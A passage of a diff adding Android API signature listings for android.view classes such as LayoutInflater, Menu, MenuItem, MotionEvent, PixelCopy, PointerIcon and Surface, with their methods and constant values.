+    method public boolean onKeyDown(int, android.view.KeyEvent);
+    method public boolean onKeyLongPress(int, android.view.KeyEvent);
+    method public boolean onKeyMultiple(int, int, android.view.KeyEvent);
+    method public boolean onKeyUp(int, android.view.KeyEvent);
+  }
+
+  public static class KeyEvent.DispatcherState {
+    ctor public KeyEvent.DispatcherState();
+    method public void handleUpEvent(android.view.KeyEvent);
+    method public boolean isTracking(android.view.KeyEvent);
+    method public void performedLongPress(android.view.KeyEvent);
+    method public void reset();
+    method public void reset(Object);
+    method public void startTracking(android.view.KeyEvent, Object);
+  }
+
+  public final class KeyboardShortcutGroup implements android.os.Parcelable {
+    ctor public KeyboardShortcutGroup(@Nullable CharSequence, @NonNull java.util.List<android.view.KeyboardShortcutInfo>);
+    ctor public KeyboardShortcutGroup(@Nullable CharSequence);
+    method public void addItem(android.view.KeyboardShortcutInfo);
+    method public int describeContents();
+    method public java.util.List<android.view.KeyboardShortcutInfo> getItems();
+    method public CharSequence getLabel();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.KeyboardShortcutGroup> CREATOR;
+  }
+
+  public final class KeyboardShortcutInfo implements android.os.Parcelable {
+    ctor public KeyboardShortcutInfo(CharSequence, int, int);
+    ctor public KeyboardShortcutInfo(CharSequence, char, int);
+    method public int describeContents();
+    method public char getBaseCharacter();
+    method public int getKeycode();
+    method @Nullable public CharSequence getLabel();
+    method public int getModifiers();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.KeyboardShortcutInfo> CREATOR;
+  }
+
+  public abstract class LayoutInflater {
+    ctor protected LayoutInflater(android.content.Context);
+    ctor protected LayoutInflater(android.view.LayoutInflater, android.content.Context);
+    method public abstract android.view.LayoutInflater cloneInContext(android.content.Context);
+    method public final android.view.View createView(String, String, android.util.AttributeSet) throws java.lang.ClassNotFoundException, android.view.InflateException;
+    method @Nullable public final android.view.View createView(@NonNull android.content.Context, @NonNull String, @Nullable String, @Nullable android.util.AttributeSet) throws java.lang.ClassNotFoundException, android.view.InflateException;
+    method public static android.view.LayoutInflater from(@UiContext android.content.Context);
+    method public android.content.Context getContext();
+    method public final android.view.LayoutInflater.Factory getFactory();
+    method public final android.view.LayoutInflater.Factory2 getFactory2();
+    method public android.view.LayoutInflater.Filter getFilter();
+    method public android.view.View inflate(@LayoutRes int, @Nullable android.view.ViewGroup);
+    method public android.view.View inflate(org.xmlpull.v1.XmlPullParser, @Nullable android.view.ViewGroup);
+    method public android.view.View inflate(@LayoutRes int, @Nullable android.view.ViewGroup, boolean);
+    method public android.view.View inflate(org.xmlpull.v1.XmlPullParser, @Nullable android.view.ViewGroup, boolean);
+    method protected android.view.View onCreateView(String, android.util.AttributeSet) throws java.lang.ClassNotFoundException;
+    method protected android.view.View onCreateView(android.view.View, String, android.util.AttributeSet) throws java.lang.ClassNotFoundException;
+    method @Nullable public android.view.View onCreateView(@NonNull android.content.Context, @Nullable android.view.View, @NonNull String, @Nullable android.util.AttributeSet) throws java.lang.ClassNotFoundException;
+    method public void setFactory(android.view.LayoutInflater.Factory);
+    method public void setFactory2(android.view.LayoutInflater.Factory2);
+    method public void setFilter(android.view.LayoutInflater.Filter);
+  }
+
+  public static interface LayoutInflater.Factory {
+    method @Nullable public android.view.View onCreateView(@NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet);
+  }
+
+  public static interface LayoutInflater.Factory2 extends android.view.LayoutInflater.Factory {
+    method @Nullable public android.view.View onCreateView(@Nullable android.view.View, @NonNull String, @NonNull android.content.Context, @NonNull android.util.AttributeSet);
+  }
+
+  public static interface LayoutInflater.Filter {
+    method public boolean onLoadClass(Class);
+  }
+
+  public interface Menu {
+    method public android.view.MenuItem add(CharSequence);
+    method public android.view.MenuItem add(@StringRes int);
+    method public android.view.MenuItem add(int, int, int, CharSequence);
+    method public android.view.MenuItem add(int, int, int, @StringRes int);
+    method public int addIntentOptions(int, int, int, android.content.ComponentName, android.content.Intent[], android.content.Intent, int, android.view.MenuItem[]);
+    method public android.view.SubMenu addSubMenu(CharSequence);
+    method public android.view.SubMenu addSubMenu(@StringRes int);
+    method public android.view.SubMenu addSubMenu(int, int, int, CharSequence);
+    method public android.view.SubMenu addSubMenu(int, int, int, @StringRes int);
+    method public void clear();
+    method public void close();
+    method public android.view.MenuItem findItem(int);
+    method public android.view.MenuItem getItem(int);
+    method public boolean hasVisibleItems();
+    method public boolean isShortcutKey(int, android.view.KeyEvent);
+    method public boolean performIdentifierAction(int, int);
+    method public boolean performShortcut(int, android.view.KeyEvent, int);
+    method public void removeGroup(int);
+    method public void removeItem(int);
+    method public void setGroupCheckable(int, boolean, boolean);
+    method public default void setGroupDividerEnabled(boolean);
+    method public void setGroupEnabled(int, boolean);
+    method public void setGroupVisible(int, boolean);
+    method public void setQwertyMode(boolean);
+    method public int size();
+    field public static final int CATEGORY_ALTERNATIVE = 262144; // 0x40000
+    field public static final int CATEGORY_CONTAINER = 65536; // 0x10000
+    field public static final int CATEGORY_SECONDARY = 196608; // 0x30000
+    field public static final int CATEGORY_SYSTEM = 131072; // 0x20000
+    field public static final int FIRST = 1; // 0x1
+    field public static final int FLAG_ALWAYS_PERFORM_CLOSE = 2; // 0x2
+    field public static final int FLAG_APPEND_TO_GROUP = 1; // 0x1
+    field public static final int FLAG_PERFORM_NO_CLOSE = 1; // 0x1
+    field public static final int NONE = 0; // 0x0
+    field public static final int SUPPORTED_MODIFIERS_MASK = 69647; // 0x1100f
+  }
+
+  public class MenuInflater {
+    ctor public MenuInflater(android.content.Context);
+    method public void inflate(@MenuRes int, android.view.Menu);
+  }
+
+  public interface MenuItem {
+    method public boolean collapseActionView();
+    method public boolean expandActionView();
+    method public android.view.ActionProvider getActionProvider();
+    method public android.view.View getActionView();
+    method public default int getAlphabeticModifiers();
+    method public char getAlphabeticShortcut();
+    method public default CharSequence getContentDescription();
+    method public int getGroupId();
+    method public android.graphics.drawable.Drawable getIcon();
+    method @Nullable public default android.graphics.BlendMode getIconTintBlendMode();
+    method @Nullable public default android.content.res.ColorStateList getIconTintList();
+    method @Nullable public default android.graphics.PorterDuff.Mode getIconTintMode();
+    method public android.content.Intent getIntent();
+    method public int getItemId();
+    method public android.view.ContextMenu.ContextMenuInfo getMenuInfo();
+    method public default int getNumericModifiers();
+    method public char getNumericShortcut();
+    method public int getOrder();
+    method public android.view.SubMenu getSubMenu();
+    method public CharSequence getTitle();
+    method public CharSequence getTitleCondensed();
+    method public default CharSequence getTooltipText();
+    method public boolean hasSubMenu();
+    method public boolean isActionViewExpanded();
+    method public boolean isCheckable();
+    method public boolean isChecked();
+    method public boolean isEnabled();
+    method public boolean isVisible();
+    method public android.view.MenuItem setActionProvider(android.view.ActionProvider);
+    method public android.view.MenuItem setActionView(android.view.View);
+    method public android.view.MenuItem setActionView(@LayoutRes int);
+    method public android.view.MenuItem setAlphabeticShortcut(char);
+    method public default android.view.MenuItem setAlphabeticShortcut(char, int);
+    method public android.view.MenuItem setCheckable(boolean);
+    method public android.view.MenuItem setChecked(boolean);
+    method public default android.view.MenuItem setContentDescription(CharSequence);
+    method public android.view.MenuItem setEnabled(boolean);
+    method public android.view.MenuItem setIcon(android.graphics.drawable.Drawable);
+    method public android.view.MenuItem setIcon(@DrawableRes int);
+    method @NonNull public default android.view.MenuItem setIconTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public default android.view.MenuItem setIconTintList(@Nullable android.content.res.ColorStateList);
+    method @NonNull public default android.view.MenuItem setIconTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public android.view.MenuItem setIntent(android.content.Intent);
+    method public android.view.MenuItem setNumericShortcut(char);
+    method public default android.view.MenuItem setNumericShortcut(char, int);
+    method public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem.OnActionExpandListener);
+    method public android.view.MenuItem setOnMenuItemClickListener(android.view.MenuItem.OnMenuItemClickListener);
+    method public android.view.MenuItem setShortcut(char, char);
+    method public default android.view.MenuItem setShortcut(char, char, int, int);
+    method public void setShowAsAction(int);
+    method public android.view.MenuItem setShowAsActionFlags(int);
+    method public android.view.MenuItem setTitle(CharSequence);
+    method public android.view.MenuItem setTitle(@StringRes int);
+    method public android.view.MenuItem setTitleCondensed(CharSequence);
+    method public default android.view.MenuItem setTooltipText(CharSequence);
+    method public android.view.MenuItem setVisible(boolean);
+    field public static final int SHOW_AS_ACTION_ALWAYS = 2; // 0x2
+    field public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8; // 0x8
+    field public static final int SHOW_AS_ACTION_IF_ROOM = 1; // 0x1
+    field public static final int SHOW_AS_ACTION_NEVER = 0; // 0x0
+    field public static final int SHOW_AS_ACTION_WITH_TEXT = 4; // 0x4
+  }
+
+  public static interface MenuItem.OnActionExpandListener {
+    method public boolean onMenuItemActionCollapse(android.view.MenuItem);
+    method public boolean onMenuItemActionExpand(android.view.MenuItem);
+  }
+
+  public static interface MenuItem.OnMenuItemClickListener {
+    method public boolean onMenuItemClick(android.view.MenuItem);
+  }
+
+  public final class MotionEvent extends android.view.InputEvent implements android.os.Parcelable {
+    method public static String actionToString(int);
+    method public void addBatch(long, float, float, float, float, int);
+    method public void addBatch(long, android.view.MotionEvent.PointerCoords[], int);
+    method public static int axisFromString(String);
+    method public static String axisToString(int);
+    method public int findPointerIndex(int);
+    method public int getAction();
+    method public int getActionButton();
+    method public int getActionIndex();
+    method public int getActionMasked();
+    method public float getAxisValue(int);
+    method public float getAxisValue(int, int);
+    method public int getButtonState();
+    method public int getClassification();
+    method public int getDeviceId();
+    method public long getDownTime();
+    method public int getEdgeFlags();
+    method public long getEventTime();
+    method public int getFlags();
+    method public float getHistoricalAxisValue(int, int);
+    method public float getHistoricalAxisValue(int, int, int);
+    method public long getHistoricalEventTime(int);
+    method public float getHistoricalOrientation(int);
+    method public float getHistoricalOrientation(int, int);
+    method public void getHistoricalPointerCoords(int, int, android.view.MotionEvent.PointerCoords);
+    method public float getHistoricalPressure(int);
+    method public float getHistoricalPressure(int, int);
+    method public float getHistoricalSize(int);
+    method public float getHistoricalSize(int, int);
+    method public float getHistoricalToolMajor(int);
+    method public float getHistoricalToolMajor(int, int);
+    method public float getHistoricalToolMinor(int);
+    method public float getHistoricalToolMinor(int, int);
+    method public float getHistoricalTouchMajor(int);
+    method public float getHistoricalTouchMajor(int, int);
+    method public float getHistoricalTouchMinor(int);
+    method public float getHistoricalTouchMinor(int, int);
+    method public float getHistoricalX(int);
+    method public float getHistoricalX(int, int);
+    method public float getHistoricalY(int);
+    method public float getHistoricalY(int, int);
+    method public int getHistorySize();
+    method public int getMetaState();
+    method public float getOrientation();
+    method public float getOrientation(int);
+    method public void getPointerCoords(int, android.view.MotionEvent.PointerCoords);
+    method public int getPointerCount();
+    method public int getPointerId(int);
+    method public void getPointerProperties(int, android.view.MotionEvent.PointerProperties);
+    method public float getPressure();
+    method public float getPressure(int);
+    method public float getRawX();
+    method public float getRawX(int);
+    method public float getRawY();
+    method public float getRawY(int);
+    method public float getSize();
+    method public float getSize(int);
+    method public int getSource();
+    method public float getToolMajor();
+    method public float getToolMajor(int);
+    method public float getToolMinor();
+    method public float getToolMinor(int);
+    method public int getToolType(int);
+    method public float getTouchMajor();
+    method public float getTouchMajor(int);
+    method public float getTouchMinor();
+    method public float getTouchMinor(int);
+    method public float getX();
+    method public float getX(int);
+    method public float getXPrecision();
+    method public float getY();
+    method public float getY(int);
+    method public float getYPrecision();
+    method public boolean isButtonPressed(int);
+    method public static android.view.MotionEvent obtain(long, long, int, int, android.view.MotionEvent.PointerProperties[], android.view.MotionEvent.PointerCoords[], int, int, float, float, int, int, int, int);
+    method @Deprecated public static android.view.MotionEvent obtain(long, long, int, int, int[], android.view.MotionEvent.PointerCoords[], int, float, float, int, int, int, int);
+    method public static android.view.MotionEvent obtain(long, long, int, float, float, float, float, int, float, float, int, int);
+    method @Deprecated public static android.view.MotionEvent obtain(long, long, int, int, float, float, float, float, int, float, float, int, int);
+    method public static android.view.MotionEvent obtain(long, long, int, float, float, int);
+    method public static android.view.MotionEvent obtain(android.view.MotionEvent);
+    method public static android.view.MotionEvent obtainNoHistory(android.view.MotionEvent);
+    method public void offsetLocation(float, float);
+    method public void recycle();
+    method public void setAction(int);
+    method public void setEdgeFlags(int);
+    method public void setLocation(float, float);
+    method public void setSource(int);
+    method public void transform(android.graphics.Matrix);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ACTION_BUTTON_PRESS = 11; // 0xb
+    field public static final int ACTION_BUTTON_RELEASE = 12; // 0xc
+    field public static final int ACTION_CANCEL = 3; // 0x3
+    field public static final int ACTION_DOWN = 0; // 0x0
+    field public static final int ACTION_HOVER_ENTER = 9; // 0x9
+    field public static final int ACTION_HOVER_EXIT = 10; // 0xa
+    field public static final int ACTION_HOVER_MOVE = 7; // 0x7
+    field public static final int ACTION_MASK = 255; // 0xff
+    field public static final int ACTION_MOVE = 2; // 0x2
+    field public static final int ACTION_OUTSIDE = 4; // 0x4
+    field @Deprecated public static final int ACTION_POINTER_1_DOWN = 5; // 0x5
+    field @Deprecated public static final int ACTION_POINTER_1_UP = 6; // 0x6
+    field @Deprecated public static final int ACTION_POINTER_2_DOWN = 261; // 0x105
+    field @Deprecated public static final int ACTION_POINTER_2_UP = 262; // 0x106
+    field @Deprecated public static final int ACTION_POINTER_3_DOWN = 517; // 0x205
+    field @Deprecated public static final int ACTION_POINTER_3_UP = 518; // 0x206
+    field public static final int ACTION_POINTER_DOWN = 5; // 0x5
+    field @Deprecated public static final int ACTION_POINTER_ID_MASK = 65280; // 0xff00
+    field @Deprecated public static final int ACTION_POINTER_ID_SHIFT = 8; // 0x8
+    field public static final int ACTION_POINTER_INDEX_MASK = 65280; // 0xff00
+    field public static final int ACTION_POINTER_INDEX_SHIFT = 8; // 0x8
+    field public static final int ACTION_POINTER_UP = 6; // 0x6
+    field public static final int ACTION_SCROLL = 8; // 0x8
+    field public static final int ACTION_UP = 1; // 0x1
+    field public static final int AXIS_BRAKE = 23; // 0x17
+    field public static final int AXIS_DISTANCE = 24; // 0x18
+    field public static final int AXIS_GAS = 22; // 0x16
+    field public static final int AXIS_GENERIC_1 = 32; // 0x20
+    field public static final int AXIS_GENERIC_10 = 41; // 0x29
+    field public static final int AXIS_GENERIC_11 = 42; // 0x2a
+    field public static final int AXIS_GENERIC_12 = 43; // 0x2b
+    field public static final int AXIS_GENERIC_13 = 44; // 0x2c
+    field public static final int AXIS_GENERIC_14 = 45; // 0x2d
+    field public static final int AXIS_GENERIC_15 = 46; // 0x2e
+    field public static final int AXIS_GENERIC_16 = 47; // 0x2f
+    field public static final int AXIS_GENERIC_2 = 33; // 0x21
+    field public static final int AXIS_GENERIC_3 = 34; // 0x22
+    field public static final int AXIS_GENERIC_4 = 35; // 0x23
+    field public static final int AXIS_GENERIC_5 = 36; // 0x24
+    field public static final int AXIS_GENERIC_6 = 37; // 0x25
+    field public static final int AXIS_GENERIC_7 = 38; // 0x26
+    field public static final int AXIS_GENERIC_8 = 39; // 0x27
+    field public static final int AXIS_GENERIC_9 = 40; // 0x28
+    field public static final int AXIS_HAT_X = 15; // 0xf
+    field public static final int AXIS_HAT_Y = 16; // 0x10
+    field public static final int AXIS_HSCROLL = 10; // 0xa
+    field public static final int AXIS_LTRIGGER = 17; // 0x11
+    field public static final int AXIS_ORIENTATION = 8; // 0x8
+    field public static final int AXIS_PRESSURE = 2; // 0x2
+    field public static final int AXIS_RELATIVE_X = 27; // 0x1b
+    field public static final int AXIS_RELATIVE_Y = 28; // 0x1c
+    field public static final int AXIS_RTRIGGER = 18; // 0x12
+    field public static final int AXIS_RUDDER = 20; // 0x14
+    field public static final int AXIS_RX = 12; // 0xc
+    field public static final int AXIS_RY = 13; // 0xd
+    field public static final int AXIS_RZ = 14; // 0xe
+    field public static final int AXIS_SCROLL = 26; // 0x1a
+    field public static final int AXIS_SIZE = 3; // 0x3
+    field public static final int AXIS_THROTTLE = 19; // 0x13
+    field public static final int AXIS_TILT = 25; // 0x19
+    field public static final int AXIS_TOOL_MAJOR = 6; // 0x6
+    field public static final int AXIS_TOOL_MINOR = 7; // 0x7
+    field public static final int AXIS_TOUCH_MAJOR = 4; // 0x4
+    field public static final int AXIS_TOUCH_MINOR = 5; // 0x5
+    field public static final int AXIS_VSCROLL = 9; // 0x9
+    field public static final int AXIS_WHEEL = 21; // 0x15
+    field public static final int AXIS_X = 0; // 0x0
+    field public static final int AXIS_Y = 1; // 0x1
+    field public static final int AXIS_Z = 11; // 0xb
+    field public static final int BUTTON_BACK = 8; // 0x8
+    field public static final int BUTTON_FORWARD = 16; // 0x10
+    field public static final int BUTTON_PRIMARY = 1; // 0x1
+    field public static final int BUTTON_SECONDARY = 2; // 0x2
+    field public static final int BUTTON_STYLUS_PRIMARY = 32; // 0x20
+    field public static final int BUTTON_STYLUS_SECONDARY = 64; // 0x40
+    field public static final int BUTTON_TERTIARY = 4; // 0x4
+    field public static final int CLASSIFICATION_AMBIGUOUS_GESTURE = 1; // 0x1
+    field public static final int CLASSIFICATION_DEEP_PRESS = 2; // 0x2
+    field public static final int CLASSIFICATION_NONE = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.MotionEvent> CREATOR;
+    field public static final int EDGE_BOTTOM = 2; // 0x2
+    field public static final int EDGE_LEFT = 4; // 0x4
+    field public static final int EDGE_RIGHT = 8; // 0x8
+    field public static final int EDGE_TOP = 1; // 0x1
+    field public static final int FLAG_WINDOW_IS_OBSCURED = 1; // 0x1
+    field public static final int FLAG_WINDOW_IS_PARTIALLY_OBSCURED = 2; // 0x2
+    field public static final int INVALID_POINTER_ID = -1; // 0xffffffff
+    field public static final int TOOL_TYPE_ERASER = 4; // 0x4
+    field public static final int TOOL_TYPE_FINGER = 1; // 0x1
+    field public static final int TOOL_TYPE_MOUSE = 3; // 0x3
+    field public static final int TOOL_TYPE_STYLUS = 2; // 0x2
+    field public static final int TOOL_TYPE_UNKNOWN = 0; // 0x0
+  }
+
+  public static final class MotionEvent.PointerCoords {
+    ctor public MotionEvent.PointerCoords();
+    ctor public MotionEvent.PointerCoords(android.view.MotionEvent.PointerCoords);
+    method public void clear();
+    method public void copyFrom(android.view.MotionEvent.PointerCoords);
+    method public float getAxisValue(int);
+    method public void setAxisValue(int, float);
+    field public float orientation;
+    field public float pressure;
+    field public float size;
+    field public float toolMajor;
+    field public float toolMinor;
+    field public float touchMajor;
+    field public float touchMinor;
+    field public float x;
+    field public float y;
+  }
+
+  public static final class MotionEvent.PointerProperties {
+    ctor public MotionEvent.PointerProperties();
+    ctor public MotionEvent.PointerProperties(android.view.MotionEvent.PointerProperties);
+    method public void clear();
+    method public void copyFrom(android.view.MotionEvent.PointerProperties);
+    field public int id;
+    field public int toolType;
+  }
+
+  public interface OnReceiveContentListener {
+    method @Nullable public android.view.ContentInfo onReceiveContent(@NonNull android.view.View, @NonNull android.view.ContentInfo);
+  }
+
+  public abstract class OrientationEventListener {
+    ctor public OrientationEventListener(android.content.Context);
+    ctor public OrientationEventListener(android.content.Context, int);
+    method public boolean canDetectOrientation();
+    method public void disable();
+    method public void enable();
+    method public abstract void onOrientationChanged(int);
+    field public static final int ORIENTATION_UNKNOWN = -1; // 0xffffffff
+  }
+
+  @Deprecated public abstract class OrientationListener implements android.hardware.SensorListener {
+    ctor @Deprecated public OrientationListener(android.content.Context);
+    ctor @Deprecated public OrientationListener(android.content.Context, int);
+    method @Deprecated public void disable();
+    method @Deprecated public void enable();
+    method @Deprecated public void onAccuracyChanged(int, int);
+    method @Deprecated public abstract void onOrientationChanged(int);
+    method @Deprecated public void onSensorChanged(int, float[]);
+    field @Deprecated public static final int ORIENTATION_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class PixelCopy {
+    method public static void request(@NonNull android.view.SurfaceView, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    method public static void request(@NonNull android.view.SurfaceView, @Nullable android.graphics.Rect, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    method public static void request(@NonNull android.view.Surface, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    method public static void request(@NonNull android.view.Surface, @Nullable android.graphics.Rect, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    method public static void request(@NonNull android.view.Window, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    method public static void request(@NonNull android.view.Window, @Nullable android.graphics.Rect, @NonNull android.graphics.Bitmap, @NonNull android.view.PixelCopy.OnPixelCopyFinishedListener, @NonNull android.os.Handler);
+    field public static final int ERROR_DESTINATION_INVALID = 5; // 0x5
+    field public static final int ERROR_SOURCE_INVALID = 4; // 0x4
+    field public static final int ERROR_SOURCE_NO_DATA = 3; // 0x3
+    field public static final int ERROR_TIMEOUT = 2; // 0x2
+    field public static final int ERROR_UNKNOWN = 1; // 0x1
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public static interface PixelCopy.OnPixelCopyFinishedListener {
+    method public void onPixelCopyFinished(int);
+  }
+
+  public final class PointerIcon implements android.os.Parcelable {
+    method public static android.view.PointerIcon create(@NonNull android.graphics.Bitmap, float, float);
+    method public int describeContents();
+    method public static android.view.PointerIcon getSystemIcon(@NonNull android.content.Context, int);
+    method public static android.view.PointerIcon load(@NonNull android.content.res.Resources, @XmlRes int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.PointerIcon> CREATOR;
+    field public static final int TYPE_ALIAS = 1010; // 0x3f2
+    field public static final int TYPE_ALL_SCROLL = 1013; // 0x3f5
+    field public static final int TYPE_ARROW = 1000; // 0x3e8
+    field public static final int TYPE_CELL = 1006; // 0x3ee
+    field public static final int TYPE_CONTEXT_MENU = 1001; // 0x3e9
+    field public static final int TYPE_COPY = 1011; // 0x3f3
+    field public static final int TYPE_CROSSHAIR = 1007; // 0x3ef
+    field public static final int TYPE_DEFAULT = 1000; // 0x3e8
+    field public static final int TYPE_GRAB = 1020; // 0x3fc
+    field public static final int TYPE_GRABBING = 1021; // 0x3fd
+    field public static final int TYPE_HAND = 1002; // 0x3ea
+    field public static final int TYPE_HELP = 1003; // 0x3eb
+    field public static final int TYPE_HORIZONTAL_DOUBLE_ARROW = 1014; // 0x3f6
+    field public static final int TYPE_NO_DROP = 1012; // 0x3f4
+    field public static final int TYPE_NULL = 0; // 0x0
+    field public static final int TYPE_TEXT = 1008; // 0x3f0
+    field public static final int TYPE_TOP_LEFT_DIAGONAL_DOUBLE_ARROW = 1017; // 0x3f9
+    field public static final int TYPE_TOP_RIGHT_DIAGONAL_DOUBLE_ARROW = 1016; // 0x3f8
+    field public static final int TYPE_VERTICAL_DOUBLE_ARROW = 1015; // 0x3f7
+    field public static final int TYPE_VERTICAL_TEXT = 1009; // 0x3f1
+    field public static final int TYPE_WAIT = 1004; // 0x3ec
+    field public static final int TYPE_ZOOM_IN = 1018; // 0x3fa
+    field public static final int TYPE_ZOOM_OUT = 1019; // 0x3fb
+  }
+
+  public final class RoundedCorner implements android.os.Parcelable {
+    ctor public RoundedCorner(int, int, int, int);
+    method public int describeContents();
+    method @NonNull public android.graphics.Point getCenter();
+    method public int getPosition();
+    method public int getRadius();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.RoundedCorner> CREATOR;
+    field public static final int POSITION_BOTTOM_LEFT = 3; // 0x3
+    field public static final int POSITION_BOTTOM_RIGHT = 2; // 0x2
+    field public static final int POSITION_TOP_LEFT = 0; // 0x0
+    field public static final int POSITION_TOP_RIGHT = 1; // 0x1
+  }
+
+  public class ScaleGestureDetector {
+    ctor public ScaleGestureDetector(android.content.Context, android.view.ScaleGestureDetector.OnScaleGestureListener);
+    ctor public ScaleGestureDetector(android.content.Context, android.view.ScaleGestureDetector.OnScaleGestureListener, android.os.Handler);
+    method public float getCurrentSpan();
+    method public float getCurrentSpanX();
+    method public float getCurrentSpanY();
+    method public long getEventTime();
+    method public float getFocusX();
+    method public float getFocusY();
+    method public float getPreviousSpan();
+    method public float getPreviousSpanX();
+    method public float getPreviousSpanY();
+    method public float getScaleFactor();
+    method public long getTimeDelta();
+    method public boolean isInProgress();
+    method public boolean isQuickScaleEnabled();
+    method public boolean isStylusScaleEnabled();
+    method public boolean onTouchEvent(android.view.MotionEvent);
+    method public void setQuickScaleEnabled(boolean);
+    method public void setStylusScaleEnabled(boolean);
+  }
+
+  public static interface ScaleGestureDetector.OnScaleGestureListener {
+    method public boolean onScale(android.view.ScaleGestureDetector);
+    method public boolean onScaleBegin(android.view.ScaleGestureDetector);
+    method public void onScaleEnd(android.view.ScaleGestureDetector);
+  }
+
+  public static class ScaleGestureDetector.SimpleOnScaleGestureListener implements android.view.ScaleGestureDetector.OnScaleGestureListener {
+    ctor public ScaleGestureDetector.SimpleOnScaleGestureListener();
+    method public boolean onScale(android.view.ScaleGestureDetector);
+    method public boolean onScaleBegin(android.view.ScaleGestureDetector);
+    method public void onScaleEnd(android.view.ScaleGestureDetector);
+  }
+
+  @UiThread public interface ScrollCaptureCallback {
+    method public void onScrollCaptureEnd(@NonNull Runnable);
+    method public void onScrollCaptureImageRequest(@NonNull android.view.ScrollCaptureSession, @NonNull android.os.CancellationSignal, @NonNull android.graphics.Rect, @NonNull java.util.function.Consumer<android.graphics.Rect>);
+    method public void onScrollCaptureSearch(@NonNull android.os.CancellationSignal, @NonNull java.util.function.Consumer<android.graphics.Rect>);
+    method public void onScrollCaptureStart(@NonNull android.view.ScrollCaptureSession, @NonNull android.os.CancellationSignal, @NonNull Runnable);
+  }
+
+  public class ScrollCaptureSession {
+    ctor public ScrollCaptureSession(@NonNull android.view.Surface, @NonNull android.graphics.Rect, @NonNull android.graphics.Point);
+    method @NonNull public android.graphics.Point getPositionInWindow();
+    method @NonNull public android.graphics.Rect getScrollBounds();
+    method @NonNull public android.view.Surface getSurface();
+  }
+
+  public final class ScrollCaptureTarget {
+    ctor public ScrollCaptureTarget(@NonNull android.view.View, @NonNull android.graphics.Rect, @NonNull android.graphics.Point, @NonNull android.view.ScrollCaptureCallback);
+    method @NonNull public android.view.ScrollCaptureCallback getCallback();
+    method @NonNull public android.view.View getContainingView();
+    method public int getHint();
+    method @NonNull public android.graphics.Rect getLocalVisibleRect();
+    method @NonNull public android.graphics.Point getPositionInWindow();
+    method @Nullable public android.graphics.Rect getScrollBounds();
+    method public void setScrollBounds(@Nullable android.graphics.Rect);
+    method @UiThread public void updatePositionInWindow();
+  }
+
+  public class SearchEvent {
+    ctor public SearchEvent(android.view.InputDevice);
+    method public android.view.InputDevice getInputDevice();
+  }
+
+  public class SoundEffectConstants {
+    method public static int getConstantForFocusDirection(int, boolean);
+    method public static int getContantForFocusDirection(int);
+    field public static final int CLICK = 0; // 0x0
+    field public static final int NAVIGATION_DOWN = 4; // 0x4
+    field public static final int NAVIGATION_LEFT = 1; // 0x1
+    field public static final int NAVIGATION_REPEAT_DOWN = 8; // 0x8
+    field public static final int NAVIGATION_REPEAT_LEFT = 5; // 0x5
+    field public static final int NAVIGATION_REPEAT_RIGHT = 7; // 0x7
+    field public static final int NAVIGATION_REPEAT_UP = 6; // 0x6
+    field public static final int NAVIGATION_RIGHT = 3; // 0x3
+    field public static final int NAVIGATION_UP = 2; // 0x2
+  }
+
+  public interface SubMenu extends android.view.Menu {
+    method public void clearHeader();
+    method public android.view.MenuItem getItem();
+    method public android.view.SubMenu setHeaderIcon(@DrawableRes int);
+    method public android.view.SubMenu setHeaderIcon(android.graphics.drawable.Drawable);
+    method public android.view.SubMenu setHeaderTitle(@StringRes int);
+    method public android.view.SubMenu setHeaderTitle(CharSequence);
+    method public android.view.SubMenu setHeaderView(android.view.View);
+    method public android.view.SubMenu setIcon(@DrawableRes int);
+    method public android.view.SubMenu setIcon(android.graphics.drawable.Drawable);
+  }
+
+  public class Surface implements android.os.Parcelable {
+    ctor public Surface(@NonNull android.view.SurfaceControl);
+    ctor public Surface(android.graphics.SurfaceTexture);
+    method public int describeContents();
+    method public boolean isValid();
+    method public android.graphics.Canvas lockCanvas(android.graphics.Rect) throws java.lang.IllegalArgumentException, android.view.Surface.OutOfResourcesException;
+    method public android.graphics.Canvas lockHardwareCanvas();
+    method public void readFromParcel(android.os.Parcel);
+    method public void release();
+    method public void setFrameRate(@FloatRange(from=0.0) float, int, int);
+    method public void setFrameRate(@FloatRange(from=0.0) float, int);
+    method @Deprecated public void unlockCanvas(android.graphics.Canvas);
+    method public void unlockCanvasAndPost(android.graphics.Canvas);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CHANGE_FRAME_RATE_ALWAYS = 1; // 0x1
+    field public static final int CHANGE_FRAME_RATE_ONLY_IF_SEAMLESS = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.view.Surface> CREATOR;
+    field public static final int FRAME_RATE_COMPATIBILITY_DEFAULT = 0; // 0x0
+    field public static final int FRAME_RATE_COMPATIBILITY_FIXED_SOURCE = 1; // 0x1
+    field public static final int ROTATION_0 = 0; // 0x0
+    field public static final int ROTATION_180 = 2; // 0x2
+    field public static final int ROTATION_270 = 3; // 0x3
+    field public static final int ROTATION_90 = 1; // 0x1
+  }
+
+  public static class Surface.OutOfResourcesException extends java.lang.RuntimeException {
+    ctor public Surface.OutOfResourcesException();
